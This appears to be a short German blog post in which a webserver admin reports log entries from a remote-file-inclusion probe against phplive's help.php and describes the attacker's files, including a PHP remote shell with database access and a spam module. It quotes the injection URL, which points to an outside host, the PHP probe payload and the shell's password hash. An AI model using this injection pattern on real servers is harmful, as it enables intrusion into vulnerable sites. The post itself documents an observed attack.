Seit gestern habe ich ab und zu in den Logfiles meines Webservers 404-Fehler, die folgendes Schema haben:
http://meine-domain.org/phplive/help.php?css_path=http://211.176.andere.zahlen:8000/exploit.txt?
Von Neugierde getrieben habe ich mir die Datei exploit.txt mal heruntergeladen. Und das steht drinnen:
< ?
echo 'berceamondialu';
?>
Also PHP. Anscheinend gibt es eine Lücke in phplive, die es Angreifern erlaubt, beliebige externe Dateien als “CSS” zu laden, das dann auch als php interpretiert wird. Toll, nicht?
Wenn der Webserver jetzt das komische Wort in den einfachen Anführungszeichen (’berceamondialu’) ohne das echo davor ausspuckt, weiß der Angreifer, dass der Server verwundbar ist, schön automatisierbar.
Auf dem Server, auf dem die exploits.txt liegt, gibt es noch ein paar andere Dateien (freundlicherweise wird einem ein directory index angezeigt ;). Unter anderem eine php-remoteshell, die passwortgeschützt ist (Benutzername und Passwort beides md5-gehashed und identisch, der hash ist ec371748dc2da624b35a4f8f685dd122, wobei per default die Authentifizierung ausgeschaltet ist. Benutzerführung ist zweisprachig englisch und russisch, ebenso die Kommentare in der Datei (wobei die russischen ausführlicher sind).
Das Ding kann auch auf Datenbanken zugreifen, MSSQL, MySQL, Postgres und Oracle werden wohl unterstützt, und dann gibt es noch ein Spammer-Modul.
Schon interessant, was es da so alles gibt, aber auch abschreckend.
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